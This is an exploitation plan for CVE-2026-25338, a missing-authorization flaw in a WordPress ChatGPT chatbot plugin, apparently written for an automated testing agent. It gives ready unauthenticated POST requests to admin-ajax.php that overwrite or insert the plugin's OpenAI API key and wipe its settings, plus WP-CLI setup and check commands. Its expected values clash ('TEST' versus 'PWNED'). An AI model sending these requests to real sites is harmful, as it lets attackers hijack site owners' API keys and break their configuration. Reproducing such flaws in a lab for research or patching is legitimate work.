Exploitation Research Plan - CVE-2026-25338

1. Vulnerability Summary

The AI ChatBot with ChatGPT and Content Generator by AYS plugin (version <= 2.7.4) is vulnerable to Missing Authorization. The vulnerability exists in the Chatgpt_Assistant_DB_Actions::store_data function (found in includes/chatgpt-assistant-db-actions/class-chatgpt-assistant-db-actions.php). This function is responsible for saving plugin settings, including the OpenAI API key, to the database. Due to a lack of capability checks (current_user_can) and missing nonce verification in this specific class, an unauthenticated attacker can trigger this function to overwrite sensitive plugin configuration.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php (The admin_init hook, which typically triggers the save logic in this plugin, runs for all requests to this endpoint, regardless of authentication).
• HTTP Method: POST
• Payload Parameters:
  • ays_chatgpt_assistant_id: The ID of the settings record in the database (typically 1).
  • ays_chatgpt_assistant_api_key: The new API key to inject.
  • rMethod: Set to GET to bypass the wp_redirect logic and return a simple string response.
• Authentication: None required (unauthenticated).
• Preconditions: The plugin must be active, and a record must exist in the wp_ayschatgpt_data table (created upon plugin activation).

3. Code Flow

1. Entry Point: An HTTP request is made to /wp-admin/admin-ajax.php.
2. Hook Trigger: WordPress fires the admin_init hook.
3. Plugin Initialization: The plugin (likely via ChatGPT_Assistant_Main_DB_Actions or a handler in Chatgpt_Assistant_Admin) intercepts the request because $_REQUEST is not empty.
4. Vulnerable Sink: The code calls Chatgpt_Assistant_DB_Actions::store_data().
5. Lack of Protection:
   • store_data() (lines 31-89 of class-chatgpt-assistant-db-actions.php) checks if $_REQUEST is not empty but performs no current_user_can() check.
   • Unlike the ChatGPT_Assistant_Embedding_DB_Actions class, this class does not verify a nonce (lines 36-38 are absent of any wp_verify_nonce calls).
6. Database Update: The function executes $wpdb->update on the table defined by $this->db_table (which is wp_ayschatgpt_data), updating the api_key with the user-provided value.

4. Nonce Acquisition Strategy

No nonce is required for the primary exploitation of Chatgpt_Assistant_DB_Actions::store_data().

The source code for class-chatgpt-assistant-db-actions.php shows that store_data() proceeds directly to processing $_REQUEST parameters without any nonce validation. This differs from class-chatgpt-assistant-embedding-db-actions.php, which explicitly checks for the embedding_action nonce.

5. Exploitation Strategy

The goal is to overwrite the plugin's OpenAI API key.

HTTP Request (via http_request tool)

• URL: {{base_url}}/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  ays_chatgpt_assistant_id=1&ays_chatgpt_assistant_api_key=CVE-2026-25338-PWNED&rMethod=GET
  

Expected Response

• Status: 200 OK
• Body: updated (This string is returned by line 82 of class-chatgpt-assistant-db-actions.php when rMethod is GET).

6. Test Data Setup

1. Ensure the plugin is activated.
2. The plugin should automatically create a record in wp_ayschatgpt_data on activation. Verify its existence:

   wp db query "SELECT id, api_key FROM wp_ayschatgpt_data;"
   

3. If no record exists, create one manually to simulate a configured environment:

   wp db query "INSERT INTO wp_ayschatgpt_data (id, api_key, options) VALUES (1, 'original-key', '[]')"
   

7. Expected Results

• The HTTP request should return the string updated.
• The api_key column in the wp_ayschatgpt_data table for id=1 should be changed to CVE-2026-25338-TEST.
• Note: The options column will be overwritten with an empty JSON array [], potentially breaking other plugin settings (side effect of the vulnerable function).

8. Verification Steps

After performing the HTTP request, use WP-CLI to verify the database state:

# Check if the API key was updated
wp db query "SELECT api_key FROM wp_ayschatgpt_data WHERE id = 1;" --skip-column-names

The output should be CVE-2026-25338-PWNED.

9. Alternative Approaches

If id=1 does not exist or has been changed, the attacker can attempt to insert a new record by setting ays_chatgpt_assistant_id=0:

Alternative HTTP Request (Insert)

• URL: {{base_url}}/wp-admin/admin-ajax.php
• Method: POST
• Body:

  ays_chatgpt_assistant_id=0&ays_chatgpt_assistant_api_key=CVE-2026-25338-INSERTED&rMethod=GET
  

• Verification:

  wp db query "SELECT api_key FROM wp_ayschatgpt_data ORDER BY id DESC LIMIT 1;"